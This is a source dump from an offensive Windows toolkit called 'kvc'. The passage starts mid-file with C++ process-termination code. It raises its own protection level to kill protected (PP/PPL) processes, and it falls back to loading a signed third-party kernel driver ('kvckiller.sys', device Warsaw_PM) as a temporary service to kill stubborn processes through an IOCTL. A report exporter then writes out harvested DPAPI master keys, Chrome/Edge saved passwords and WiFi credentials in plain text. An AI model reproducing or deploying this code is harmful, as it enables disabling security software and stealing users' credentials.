        CloseServiceHandle(hSCM);
    }

    // Step 2: cached exe path.
    const std::wstring path = GetCachedKilledProcessPath(name);
    if (path.empty()) {
        INFO(L"No cached path for %s — cannot relaunch", name.c_str());
        return false;
    }

    SHELLEXECUTEINFOW sei{sizeof(sei)};
    sei.fMask  = SEE_MASK_NOCLOSEPROCESS;
    sei.lpVerb = L"runas";
    sei.lpFile = path.c_str();
    sei.nShow  = SW_NORMAL;
    if (ShellExecuteExW(&sei)) {
        if (sei.hProcess) CloseHandle(sei.hProcess);
        SUCCESS(L"Relaunched %s", name.c_str());
        return true;
    }

    INFO(L"ShellExecuteEx failed for %s: %lu", name.c_str(), GetLastError());
    return false;
}

// ── Core termination primitive ───────────────────────────────────────────────

// Terminates a single PID. If the target has PP or PPL protection, elevates
// the current process to the same level before attempting termination.
// Pass insideBatchSession=true when the caller already holds a driver session.
bool Controller::KillProcessInternal(DWORD pid, bool insideBatchSession) noexcept
{
    if (!insideBatchSession && !BeginDriverSession()) {
        ERROR(L"Failed to start driver session for PID %d", pid);
        return false;
    }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr) {
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    if (const auto prot = GetProcessProtection(kernelAddr.value());
        prot && prot.value() > 0)
    {
        const UCHAR targetLevel  = Utils::GetProtectionLevel(prot.value());
        const UCHAR targetSigner = Utils::GetSignerType(prot.value());
        const std::wstring levelStr =
            (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected))
                ? L"PP" : L"PPL";

        INFO(L"Target process has %s-%s protection — elevating current process",
             levelStr.c_str(), Utils::GetSignerTypeAsString(targetSigner));

        const UCHAR currentProcessProtection =
            Utils::GetProtection(targetLevel, targetSigner);
        if (!SetCurrentProcessProtection(currentProcessProtection))
            ERROR(L"Failed to elevate current process protection");
    }

    HandleGuard process(OpenProcess(PROCESS_TERMINATE, FALSE, pid));
    if (!process)
        process.reset(OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid));
    if (!process) {
        ERROR(L"Failed to open process for termination (PID: %d, Error: %d)",
              pid, GetLastError());
        return false;
    }

    const BOOL terminated = TerminateProcess(process.get(), 1);
    if (!terminated)
        DEBUG(L"TerminateProcess PID %d failed (error: %d) — kvcstrm fallback pending",
              pid, GetLastError());

    return terminated != FALSE;
}

// ── Public single-target API ─────────────────────────────────────────────────

// Terminates a process by PID.
// Falls back to kvcstrm IOCTL_KILL_WESMAR if the primary path fails.
bool Controller::KillProcess(DWORD pid) noexcept
{
    bool ok = KillProcessInternal(pid, /*insideBatchSession=*/false);
    EndDriverSession(true);

    if (!ok) {
        bool autoStarted = false;
        if (EnsureStrmOpen(autoStarted)) {
            ok = static_cast<bool>(m_strm.KillProcessLegacy(pid));
            CleanupStrm(autoStarted);
        }
        if (!ok)
            INFO(L"PID %d not terminated (process may no longer exist)", pid);
    }
    return ok;
}

// Terminates all processes whose name matches a pattern (supports wildcards).
bool Controller::KillProcessByName(const std::wstring& processName) noexcept
{
    if (!BeginDriverSession()) return false;

    const auto matches = FindProcessesByName(processName);
    if (matches.empty()) {
        ERROR(L"No process found matching pattern: %s", processName.c_str());
        EndDriverSession(true);
        return false;
    }

    const DWORD total = static_cast<DWORD>(matches.size());
    INFO(L"Found %d processes matching '%s'", total, processName.c_str());

    DWORD successCount = 0;
    for (const auto& match : matches) {
        if (g_interrupted) { INFO(L"Termination interrupted by user"); break; }
        INFO(L"Attempting to terminate %s (PID %d)",
             match.ProcessName.c_str(), match.Pid);
        if (KillProcessInternal(match.Pid, /*insideBatchSession=*/true)) {
            SUCCESS(L"Terminated %s (PID %d)",
                    match.ProcessName.c_str(), match.Pid);
            ++successCount;
        } else {
            ERROR(L"Failed to terminate PID %d", match.Pid);
        }
    }

    EndDriverSession(true);
    INFO(L"Kill by name completed: %d/%d terminated", successCount, total);
    return successCount > 0;
}

// ── Batch kill by PID list ───────────────────────────────────────────────────

bool Controller::KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept
{
    if (pids.empty()) { ERROR(L"No PIDs provided"); return false; }
    if (!BeginDriverSession()) { ERROR(L"Failed to start driver session"); return false; }

    INFO(L"Batch kill: %zu processes", pids.size());
    DWORD successCount = 0;
    for (DWORD pid : pids) {
        if (g_interrupted) { INFO(L"Batch kill interrupted"); break; }
        if (KillProcessInternal(pid, /*insideBatchSession=*/true)) {
            ++successCount;
            SUCCESS(L"Terminated PID %d", pid);
        } else {
            ERROR(L"Failed to terminate PID %d", pid);
        }
    }

    EndDriverSession(true);
    INFO(L"Batch kill completed: %d/%zu", successCount, pids.size());
    return successCount > 0;
}

// ── Batch kill by mixed PID/name targets (with kvckiller.sys fallback) ───────

// Terminates processes by a mixed list of PID strings and name patterns.
// Persists each killed process's full exe path for later relaunch.
// For PIDs that survive the primary kvc.sys session, falls back to
// kvckiller.sys (a digitally-signed driver that does not require HVCI restart).
bool Controller::KillMultipleTargets(
    const std::vector<std::wstring>& targets) noexcept
{
    if (targets.empty()) return false;
    if (!BeginDriverSession()) return false;

    // Resolve all targets to PIDs using the open session.
    std::vector<DWORD> allPids;
    for (const auto& target : targets) {
        if (Utils::IsNumeric(target)) {
            if (const auto pid = Utils::ParsePid(target))
                allPids.push_back(pid.value());
        } else {
            for (const auto& match : FindProcessesByName(target))
                allPids.push_back(match.Pid);
        }
    }

    if (allPids.empty()) {
        ERROR(L"No processes found matching the specified targets");
        EndDriverSession(true);
        return false;
    }

    // Snapshot exe names + full paths while the processes are still alive.
    std::unordered_map<DWORD, std::pair<std::wstring, std::wstring>> pidInfo;
    {
        HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnap != INVALID_HANDLE_VALUE) {
            PROCESSENTRY32W pe{sizeof(pe)};
            if (Process32FirstW(hSnap, &pe)) {
                do {
                    for (DWORD pid : allPids) {
                        if (pe.th32ProcessID == pid &&
                            pidInfo.find(pid) == pidInfo.end())
                        {
                            std::wstring fullPath;
                            if (HANDLE hProc = OpenProcess(
                                    PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid))
                            {
                                wchar_t buf[MAX_PATH] = {};
                                DWORD sz = MAX_PATH;
                                if (QueryFullProcessImageNameW(hProc, 0, buf, &sz))
                                    fullPath = buf;
                                CloseHandle(hProc);
                            }
                            pidInfo[pid] = {pe.szExeFile, fullPath};
                        }
                    }
                } while (Process32NextW(hSnap, &pe));
            }
            CloseHandle(hSnap);
        }
    }

    INFO(L"Batch kill: %zu resolved processes", allPids.size());
    DWORD successCount = 0;
    std::vector<DWORD> failedPids;

    for (DWORD pid : allPids) {
        if (g_interrupted) { INFO(L"Batch kill interrupted"); break; }
        if (KillProcessInternal(pid, /*insideBatchSession=*/true)) {
            ++successCount;
            SUCCESS(L"Terminated PID %d", pid);
            if (const auto it = pidInfo.find(pid);
                it != pidInfo.end() && !it->second.second.empty())
                CacheKilledProcessPath(it->second.first, it->second.second);
        } else {
            failedPids.push_back(pid);
        }
    }

    EndDriverSession(true);

    // ── Tier 3: kvckiller.sys fallback ──────────────────────────────────────
    if (!failedPids.empty()) {
        PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
        EnsureDriverAvailable();
        const std::wstring killerPath = GetDriverStorePath() + L"\\kvckiller.sys";

        if (GetFileAttributesW(killerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            for (DWORD pid : failedPids)
                INFO(L"PID %d not terminated (kvckiller.sys not found)", pid);
        } else {
            // Remove any stale wsftprm service registration before installing.
            if (SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS)) {
                if (SC_HANDLE hOld = OpenServiceW(hSCM, L"wsftprm", DELETE)) {
                    DeleteService(hOld);
                    CloseServiceHandle(hOld);
                }
                CloseServiceHandle(hSCM);
            }

            SC_HANDLE hKillerSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
            SC_HANDLE hKillerSvc = nullptr;
            bool      killerLoaded = false;

            if (hKillerSCM) {
                hKillerSvc = CreateServiceW(
                    hKillerSCM, L"wsftprm", L"wsftprm",
                    SERVICE_START | SERVICE_STOP | DELETE,
                    SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
                    SERVICE_ERROR_NORMAL, killerPath.c_str(),
                    nullptr, nullptr, nullptr, nullptr, nullptr);
                killerLoaded = hKillerSvc && StartServiceW(hKillerSvc, 0, nullptr);
            }

            if (killerLoaded) {
                HANDLE hDev = CreateFileW(L"\\\\.\\Warsaw_PM",
                                          GENERIC_READ | GENERIC_WRITE,
                                          0, nullptr, OPEN_EXISTING,
                                          FILE_ATTRIBUTE_NORMAL, nullptr);
                if (hDev != INVALID_HANDLE_VALUE) {
                    for (DWORD pid : failedPids) {
                        std::vector<BYTE> buf(1036, 0);
                        *reinterpret_cast<DWORD*>(buf.data()) = pid;
                        DWORD ret = 0;
                        if (DeviceIoControl(hDev, 0x22201C,
                                            buf.data(), static_cast<DWORD>(buf.size()),
                                            nullptr, 0, &ret, nullptr))
                        {
                            ++successCount;
                            SUCCESS(L"PID %d terminated via kvckiller", pid);
                            if (const auto it = pidInfo.find(pid);
                                it != pidInfo.end() && !it->second.second.empty())
                                CacheKilledProcessPath(it->second.first,
                                                        it->second.second);
                        } else {
                            INFO(L"PID %d not terminated (kvckiller IOCTL failed: %lu)",
                                 pid, GetLastError());
                        }
                    }
                    CloseHandle(hDev);
                } else {
                    for (DWORD pid : failedPids)
                        INFO(L"PID %d not terminated (Warsaw_PM unavailable: %lu)",
                             pid, GetLastError());
                }
            } else {
                for (DWORD pid : failedPids)
                    INFO(L"PID %d not terminated (kvckiller service failed to start)", pid);
            }

            // Always stop and delete the temporary service.
            if (hKillerSvc) {
                SERVICE_STATUS ss{};
                ControlService(hKillerSvc, SERVICE_CONTROL_STOP, &ss);
                DeleteService(hKillerSvc);
                CloseServiceHandle(hKillerSvc);
            }
            if (hKillerSCM) CloseServiceHandle(hKillerSCM);
        }
    }

    INFO(L"Kill operation completed: %d/%zu terminated",
         successCount, allPids.size());
    return successCount > 0;
}

<<<FILE: kvc/ReportExporter.cpp>>>
Created:  2026-03-22 18:44:25
Modified: 2026-05-28 00:22:58
Size:     19.36 KB
#include "ReportExporter.h"
#include "Controller.h"
#include "HelpSystem.h"
#include <filesystem>
#include <fstream>
#include <iostream>
#include <algorithm>
#include <sstream>
#include <iomanip>
#include <ctime>
#include <array>
#include <string_view>

namespace fs = std::filesystem;

// CSS styling definitions as structured data for maintainability and reduced binary footprint
namespace HTMLStyles {
    struct StyleRule {
        std::string_view selector;
        std::string_view properties;
    };
    
    // Core layout and typography styles
    static constexpr std::array BASE_STYLES = {
        StyleRule{ "*", "box-sizing:border-box" },
        StyleRule{ "body", "font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;margin:0;padding:20px;background:#f0f2f5;color:#333" },
        StyleRule{ ".container", "max-width:100%;margin:0 auto;background:white;padding:25px;border-radius:10px;box-shadow:0 4px 12px rgba(0,0,0,0.1)" },
        StyleRule{ "h1", "color:#2c3e50;border-bottom:3px solid #3498db;padding-bottom:15px;margin-top:0;font-size:28px" },
    };
    
    // Summary and info box styles
    static constexpr std::array SUMMARY_STYLES = {
        StyleRule{ ".summary", "background:#e8f4fd;padding:20px;border-radius:8px;margin:25px 0;border-left:5px solid #3498db" },
        StyleRule{ ".summary strong", "color:#2980b9" },
    };
    
    // Table layout and formatting styles
    static constexpr std::array TABLE_STYLES = {
        StyleRule{ "table", "width:100%;border-collapse:collapse;margin:25px 0;table-layout:fixed" },
        StyleRule{ "th,td", "padding:14px;text-align:left;border:1px solid #ddd;word-wrap:break-word" },
        StyleRule{ "th", "background:#f8f9fa;font-weight:bold;color:#2c3e50;position:sticky;top:0" },
        StyleRule{ "tr:nth-child(even)", "background:#f9f9f9" },
        StyleRule{ "tr:hover", "background:#f0f8ff" },
    };
    
    // Data presentation styles
    static constexpr std::array DATA_STYLES = {
        StyleRule{ ".password", "background:#ffe6e6;font-family:'Consolas',monospace;font-size:14px" },
        StyleRule{ ".status-decrypted", "color:#27ae60;font-weight:bold" },
        StyleRule{ ".status-extracted", "color:#ffc107;font-weight:bold" },
        StyleRule{ ".status-module", "color:#e67e22;font-weight:bold" },
        StyleRule{ ".needs-module", "background:#fff3cd;color:#856404;font-style:italic;font-size:13px" },
        StyleRule{ ".hex-data", "font-family:'Consolas','Monaco',monospace;font-size:11px;word-break:break-all;background:#f8f9fa;padding:4px 8px;border-radius:4px" },
    };
    
    // Color-coded category indicators
    static constexpr std::array CATEGORY_STYLES = {
        StyleRule{ ".chrome", "border-left:5px solid #4285f4" },
        StyleRule{ ".edge", "border-left:5px solid #0078d4" },
        StyleRule{ ".wifi", "border-left:5px solid #ff6b35" },
        StyleRule{ ".masterkey", "border-left:5px solid #9b59b6" },
        StyleRule{ ".section-title", "font-size:20px;color:#2c3e50;margin:30px 0 15px 0;padding-bottom:10px;border-bottom:2px solid #3498db" },
    };
    
    // Build minified CSS from all style arrays
    inline std::string BuildCSS() {
        std::ostringstream css;
        
        auto appendStyles = [&css](const auto& styles) {
            for (const auto& rule : styles) {
                css << rule.selector << "{" << rule.properties << "}";
            }
        };
        
        appendStyles(BASE_STYLES);
        appendStyles(SUMMARY_STYLES);
        appendStyles(TABLE_STYLES);
        appendStyles(DATA_STYLES);
        appendStyles(CATEGORY_STYLES);
        
        return css.str();
    }
}

// Table column width definitions for HTML generation
namespace TableWidths {
    // Master keys table — Status bumped to 10% (was 5%, clipped the header)
    static constexpr std::array MASTER_KEYS = { "15%", "37%", "38%", "10%" };
    static constexpr std::array<std::string_view, 4> MASTER_KEYS_HEADERS = {
        "Key Type", "Raw Data (Hex)", "Processed Data (Hex)", "Status"
    };

    // Browser passwords table — Status bumped to 12% (was 10%), URL trimmed
    static constexpr std::array PASSWORDS = { "6%", "44%", "22%", "18%", "10%" };
    static constexpr std::array<std::string_view, 5> PASSWORDS_HEADERS = {
        "Profile", "URL", "Username", "Password", "Status"
    };

    // WiFi credentials table — Status bumped to 17% (was 15%), Network trimmed
    static constexpr std::array WIFI = { "28%", "40%", "15%", "17%" };
    static constexpr std::array<std::string_view, 4> WIFI_HEADERS = {
        "Network Name", "Password", "Type", "Status"
    };
}

// ReportData implementation with automatic statistics calculation
ReportData::ReportData(const std::vector<PasswordResult>& results, 
                       const std::vector<RegistryMasterKey>& keys,
                       const std::wstring& path)
    : passwordResults(results), masterKeys(keys), outputPath(path)
{
    std::wstring wts = TimeUtils::GetFormattedTimestamp("datetime_display");
    timestamp = StringUtils::WideToUTF8(wts);
    
    CalculateStatistics();
}

void ReportData::CalculateStatistics()
{
    stats = Stats{};
    stats.masterKeyCount = static_cast<int>(masterKeys.size());
    
    for (const auto& result : passwordResults) {
        if (!result.password.empty()) {
            stats.totalPasswords++;
            
            if (result.type.find(L"Chrome") != std::wstring::npos) 
                stats.chromePasswords++;
            else if (result.type.find(L"Edge") != std::wstring::npos) 
                stats.edgePasswords++;
            else if (result.type.find(L"WiFi") != std::wstring::npos) 
                stats.wifiPasswords++;
        }
    }
}

bool ReportExporter::ExportAllFormats(const ReportData& data) noexcept
{
    INFO(L"Generating comprehensive password reports...");
    
    if (!EnsureOutputDirectory(data.outputPath)) {
        ERROR(L"Failed to create output directory: %s", data.outputPath.c_str());
        return false;
    }
    
    bool htmlSuccess = ExportHTML(data);
    bool txtSuccess = ExportTXT(data);
    
    return htmlSuccess && txtSuccess;
}

bool ReportExporter::ExportHTML(const ReportData& data) noexcept
{
    auto htmlPath = GetHTMLPath(data.outputPath);
    std::ofstream htmlFile(htmlPath, std::ios::binary);
    
    if (!htmlFile.is_open()) {
        ERROR(L"Failed to create HTML report: %s", htmlPath.c_str());
        return false;
    }
    
    std::string htmlContent = GenerateHTMLContent(data);
    htmlFile << htmlContent;
    htmlFile.close();
    
    return true;
}

bool ReportExporter::ExportTXT(const ReportData& data) noexcept
{
    auto txtPath = GetTXTPath(data.outputPath);
    std::wofstream txtFile(txtPath);
    
    if (!txtFile.is_open()) {
        ERROR(L"Failed to create TXT report: %s", txtPath.c_str());
        return false;
    }
    
    std::wstring txtContent = GenerateTXTContent(data);
    txtFile << txtContent;
    txtFile.close();
    
    return true;
}

void ReportExporter::DisplaySummary(const ReportData& data) noexcept
{
    std::wcout << L"\n";
    SUCCESS(L"=== DPAPI PASSWORD EXTRACTION SUMMARY ===");
    SUCCESS(L"Registry Master Keys: %d", data.stats.masterKeyCount);
    SUCCESS(L"Total Passwords: %d", data.stats.totalPasswords);
    SUCCESS(L"Chrome Passwords: %d", data.stats.chromePasswords);
    SUCCESS(L"Edge Passwords: %d", data.stats.edgePasswords);
    SUCCESS(L"WiFi Passwords: %d", data.stats.wifiPasswords);
    SUCCESS(L"Reports Generated:");
    SUCCESS(L"  - HTML: %s\\dpapi_results.html", data.outputPath.c_str());
    SUCCESS(L"  - TXT:  %s\\dpapi_results.txt", data.outputPath.c_str());
    std::wcout << L"\n";
}

std::string ReportExporter::GenerateHTMLContent(const ReportData& data) noexcept
{
    std::ostringstream html;
    
    html << BuildHTMLHeader(data);
    html << BuildSummarySection(data);
    html << BuildMasterKeysTable(data);
    html << BuildPasswordsTable(data);
    html << BuildWiFiTable(data);
    html << "</div></body></html>";
    
    return html.str();
}

std::string ReportExporter::BuildHTMLHeader(const ReportData& data) noexcept
{
    std::ostringstream header;

    header << "<!DOCTYPE html><html><head>"
           << "<meta charset=\"utf-8\">"
           << "<meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">"
           << "<title>kvc DPAPI Extraction Results</title>"
           << "<style>" << HTMLStyles::BuildCSS() << "</style>"
           << "</head><body>"
           << "<div class=\"container\">"
           << "<h1>&#128274; kvc DPAPI Extraction Results</h1>";

    return header.str();
}

std::string ReportExporter::BuildSummarySection(const ReportData& data) noexcept
{
    std::ostringstream summary;
    
    summary << "        <div class=\"summary\">\n";
    summary << "            <strong>Generated:</strong> " << data.timestamp << "<br>\n";
    summary << "            <strong>Registry Master Keys:</strong> " << data.stats.masterKeyCount << "<br>\n";
    summary << "            <strong>Total Passwords:</strong> " << data.stats.totalPasswords << "<br>\n";
    summary << "            <strong>Chrome Passwords:</strong> " << data.stats.chromePasswords << "<br>\n";
    summary << "            <strong>Edge Passwords:</strong> " << data.stats.edgePasswords << "<br>\n";
    summary << "            <strong>WiFi Passwords:</strong> " << data.stats.wifiPasswords << "<br>\n";
    summary << "            <strong>Extraction Method:</strong> Registry DPAPI + TrustedInstaller<br>\n";
    summary << "            <strong>Tool:</strong> kvc v1.0.4 - marek@wesolowski.eu.org\n";
    summary << "        </div>\n";
    
    return summary.str();
}

std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcept
{
    std::ostringstream table;
    
    table << "\n        <div class=\"section-title\">DPAPI Master Keys</div>\n";
    table << "        <table>\n";
    table << "            <thead>\n";
    table << "                <tr>\n";
    
    for (size_t i = 0; i < TableWidths::MASTER_KEYS.size(); ++i) {
        table << "                    <th style=\"width: " << TableWidths::MASTER_KEYS[i] << ";\">" 
              << TableWidths::MASTER_KEYS_HEADERS[i] << "</th>\n";
    }
    
    table << "                </tr>\n";
    table << "            </thead>\n";
    table << "            <tbody>";
    
    for (const auto& masterKey : data.masterKeys) {
        std::string keyType = "Unknown";
        if (masterKey.keyName.find(L"DPAPI_SYSTEM") != std::wstring::npos) {
            keyType = "DPAPI_SYSTEM";
        } else if (masterKey.keyName.find(L"NL$KM") != std::wstring::npos) {
            keyType = "NL$KM";  
        } else if (masterKey.keyName.find(L"DefaultPassword") != std::wstring::npos) {
            keyType = "DefaultPassword";
        }
        
        std::string rawHex = CryptoUtils::BytesToHex(masterKey.encryptedData, 32);
        std::string processedHex = CryptoUtils::BytesToHex(masterKey.decryptedData, 32);
        
        if (rawHex.length() > 64) {
            rawHex = rawHex.substr(0, 64) + "...";
        }
        if (processedHex.length() > 64) {
            processedHex = processedHex.substr(0, 64) + "...";
        }
        
        std::string statusClass = masterKey.isDecrypted ? "status-decrypted" : "status-extracted";
        std::string statusText = masterKey.isDecrypted ? "&#10004;" : "&#9889;";
        
        table << "                <tr class=\"masterkey\">\n";
        table << "                    <td><strong>" << keyType << "</strong></td>\n";
        table << "                    <td class=\"hex-data\">" << rawHex << "</td>\n";
        table << "                    <td class=\"hex-data\">" << processedHex << "</td>\n";
        table << "                    <td class=\"" << statusClass << "\">" << statusText << "</td>\n";
        table << "                </tr>\n\n";
    }
    
    table << "            </tbody>\n        </table>\n";
    return table.str();
}

std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
{
    std::ostringstream table;
    
    table << "\n        <div class=\"section-title\">Browser Passwords - Edge</div>\n";
    table << "        <table>\n";
    table << "            <thead>\n";
    table << "                <tr>\n";
    
    for (size_t i = 0; i < TableWidths::PASSWORDS.size(); ++i) {
        table << "                    <th style=\"width: " << TableWidths::PASSWORDS[i] << ";\">" 
              << TableWidths::PASSWORDS_HEADERS[i] << "</th>\n";
    }
    
    table << "                </tr>\n";
    table << "            </thead>\n";
    table << "            <tbody>";
    
    for (const auto& result : data.passwordResults) {
        if (result.type.find(L"Chrome") != std::wstring::npos ||
            result.type.find(L"Edge") != std::wstring::npos) {

            std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
            std::string passUtf8 = StringUtils::WideToUTF8(result.password);

            // Detect undecrypted AES-GCM blob (v10/v20 prefix = raw encrypted bytes)
            bool needsModule = passUtf8.size() > 16 &&
                               (passUtf8.substr(0,3) == "v10" || passUtf8.substr(0,3) == "v20");

            table << "                <tr class=\"" << cssClass << "\">\n";
            table << "                    <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
            table << "                    <td>" << StringUtils::WideToUTF8(result.url) << "</td>\n";
            table << "                    <td>" << StringUtils::WideToUTF8(result.username) << "</td>\n";
            if (needsModule) {
                table << "                    <td class=\"needs-module\">&#128274; Requires kvc.dat module for full decryption</td>\n";
                table << "                    <td class=\"status-module\">ENCRYPTED</td>\n";
            } else {
                table << "                    <td class=\"password\">" << passUtf8 << "</td>\n";
                table << "                    <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
            }
            table << "                </tr>\n";
        }
    }
    
    table << "            </tbody>\n        </table>\n";
    return table.str();
}

std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
{
    std::ostringstream table;
    
    table << "\n        <div class=\"section-title\">WiFi Credentials</div>\n";
    table << "        <table>\n";
    table << "            <thead>\n";
    table << "                <tr>\n";
    
    for (size_t i = 0; i < TableWidths::WIFI.size(); ++i) {
        table << "                    <th style=\"width: " << TableWidths::WIFI[i] << ";\">" 
              << TableWidths::WIFI_HEADERS[i] << "</th>\n";
    }
    
    table << "                </tr>\n";
    table << "            </thead>\n";
    table << "            <tbody>";
    
    for (const auto& result : data.passwordResults) {
        if (result.type.find(L"WiFi") != std::wstring::npos) {
            table << "                <tr class=\"wifi\">\n";
            table << "                    <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
            table << "                    <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
            table << "                    <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
            table << "                    <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
            table << "                </tr>\n";
        }
    }
    
    table << "            </tbody>\n        </table>\n";
    return table.str();
}

std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
{
    std::wostringstream txt;
    
    txt << BuildTXTHeader(data);
    txt << BuildTXTMasterKeys(data);
    txt << BuildTXTPasswords(data);
    txt << BuildTXTWiFi(data);
    
    return txt.str();
}

std::wstring ReportExporter::BuildTXTHeader(const ReportData& data) noexcept
{
    std::wostringstream header;
    
    header << L"=== kvc DPAPI EXTRACTION RESULTS ===\n";
    header << L"Generated: " << std::wstring(data.timestamp.begin(), data.timestamp.end()) << L"\n";
    header << L"Registry Master Keys: " << data.stats.masterKeyCount << L"\n";
    header << L"Total Passwords: " << data.stats.totalPasswords << L"\n";
    header << L"Tool: kvc v1.0.4 - Kernel Vulnerability Capabilities Framework by WESMAR\n";
    header << HelpLayout::MakeBorder(L'=', 33) << L"\n\n";
    
    return header.str();
}

std::wstring ReportExporter::BuildTXTMasterKeys(const ReportData& data) noexcept
{
    std::wostringstream section;
    
    section << L"=== REGISTRY MASTER KEYS ===\n";
    for (const auto& masterKey : data.masterKeys) {
        section << L"Key: " << masterKey.keyName << L"\n";
        section << L"Size: " << masterKey.encryptedData.size() << L" bytes\n";
        section << L"Status: " << (masterKey.isDecrypted ? L"DECRYPTED" : L"EXTRACTED") << L"\n";
        section << HelpLayout::MakeBorder(L'-', 33) << L"\n";
    }
    section << L"\n";
    
    return section.str();
}

std::wstring ReportExporter::BuildTXTPasswords(const ReportData& data) noexcept
{
    std::wostringstream section;
    
    section << L"=== BROWSER PASSWORDS ===\n";
    for (const auto& result : data.passwordResults) {
        if (result.type.find(L"Chrome") != std::wstring::npos ||
            result.type.find(L"Edge") != std::wstring::npos) {

            // Detect undecrypted AES-GCM blob (v10/v20 prefix = raw encrypted bytes)
            bool needsModule = result.password.size() > 16 &&
                               (result.password.substr(0,3) == L"v10" || result.password.substr(0,3) == L"v20");

            section << L"Browser: " << result.type << L"\n";
            section << L"Profile: " << result.profile << L"\n";
            section << L"URL: " << result.url << L"\n";
            section << L"Username: " << result.username << L"\n";
            if (needsModule) {
                section << L"Password: [ENCRYPTED - requires kvc.dat module for full decryption]\n";
                section << L"Status: ENCRYPTED\n";
            } else {
                section << L"Password: " << result.password << L"\n";
                section << L"Status: " << result.status << L"\n";
            }
            section << HelpLayout::MakeBorder(L'-', 33) << L"\n";
        }
    }
    section << L"\n";
    
    return section.str();
}

std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
{
    std::wostringstream section;
    
    section << L"=== WIFI CREDENTIALS ===\n";
    for (const auto& result : data.passwordResults) {
        if (result.type.find(L"WiFi") != std::wstring::npos) {
            section << L"Network: " << result.profile << L"\n";
            section << L"Password: " << result.password << L"\n";
            section << L"Status: " << result.status << L"\n";
            section << HelpLayout::MakeBorder(L'-', 33) << L"\n";
        }
    }
    section << L"\n";
    
    return section.str();
}

std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
{
    return outputPath + L"\\dpapi_results.html";
}

std::wstring ReportExporter::GetTXTPath(const std::wstring& outputPath) noexcept
{
    return outputPath + L"\\dpapi_results.txt";
}

bool ReportExporter::EnsureOutputDirectory(const std::wstring& path) noexcept
{
    if (!fs::exists(path)) {
        try {
            fs::create_directories(path);
            return true;
        } catch (...) {
            return false;
        }
    }
    return true;
}

<<<FILE: kvc/ReportExporter.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     2.89 KB
// ReportExporter.h - Export DPAPI extraction results in HTML, TXT, and console formats

#pragma once

#include "common.h"
#include <vector>
#include <string>

struct PasswordResult;
struct RegistryMasterKey;

/**
 * @struct ReportData
 * Aggregates extraction results and calculates statistics
 */
struct ReportData
{
    std::vector<PasswordResult> passwordResults; ///< Extracted passwords
    std::vector<RegistryMasterKey> masterKeys;   ///< Extracted registry keys
    std::wstring outputPath;                     ///< Output directory
    std::string timestamp;                       ///< Generation timestamp

    struct Stats {
        int totalPasswords = 0;
        int chromePasswords = 0;
        int edgePasswords = 0;
        int wifiPasswords = 0;
        int masterKeyCount = 0;
    } stats;

    ReportData() = default;
    ReportData(const std::vector<PasswordResult>& results,
               const std::vector<RegistryMasterKey>& keys,
               const std::wstring& path);

private:
    void CalculateStatistics(); ///< Populate stats from results
};

/**
 * ReportExporter
 * Generates professional reports in multiple formats
 */
class ReportExporter
{
public:
    ReportExporter() = default;
    ~ReportExporter() = default;

    ReportExporter(const ReportExporter&) = delete;
    ReportExporter& operator=(const ReportExporter&) = delete;
    ReportExporter(ReportExporter&&) noexcept = default;
    ReportExporter& operator=(ReportExporter&&) noexcept = default;

    bool ExportAllFormats(const ReportData& data) noexcept; ///< HTML + TXT + console summary
    bool ExportHTML(const ReportData& data) noexcept;       ///< Generate HTML report
    bool ExportTXT(const ReportData& data) noexcept;        ///< Generate TXT report
    void DisplaySummary(const ReportData& data) noexcept;   ///< Print console summary

private:
    // HTML generation
    std::string GenerateHTMLContent(const ReportData& data) noexcept;
    std::string BuildHTMLHeader(const ReportData& data) noexcept;
    std::string BuildSummarySection(const ReportData& data) noexcept;
    std::string BuildMasterKeysTable(const ReportData& data) noexcept;
    std::string BuildPasswordsTable(const ReportData& data) noexcept;
    std::string BuildWiFiTable(const ReportData& data) noexcept;

    // TXT generation
    std::wstring GenerateTXTContent(const ReportData& data) noexcept;
    std::wstring BuildTXTHeader(const ReportData& data) noexcept;
    std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept;
    std::wstring BuildTXTPasswords(const ReportData& data) noexcept;
    std::wstring BuildTXTWiFi(const ReportData& data) noexcept;

    // Utilities
    std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
    std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
    bool EnsureOutputDirectory(const std::wstring& path) noexcept;
};

<<<FILE: kvc/resource.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     0.86 KB
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Unified resource header for kvc + PassExtractor integration

// KVC Main Application Resources (100-199)
#define IDI_ICON1                       101
#define IDR_MAINICON                    102     // Icon data containing embedded resources


// PassExtractor/kvc_pass Resources (200-299)  
#define IDI_PASSEXTRACTOR_ICON          201
#define IDR_PASSEXTRACTOR_VERSION       202

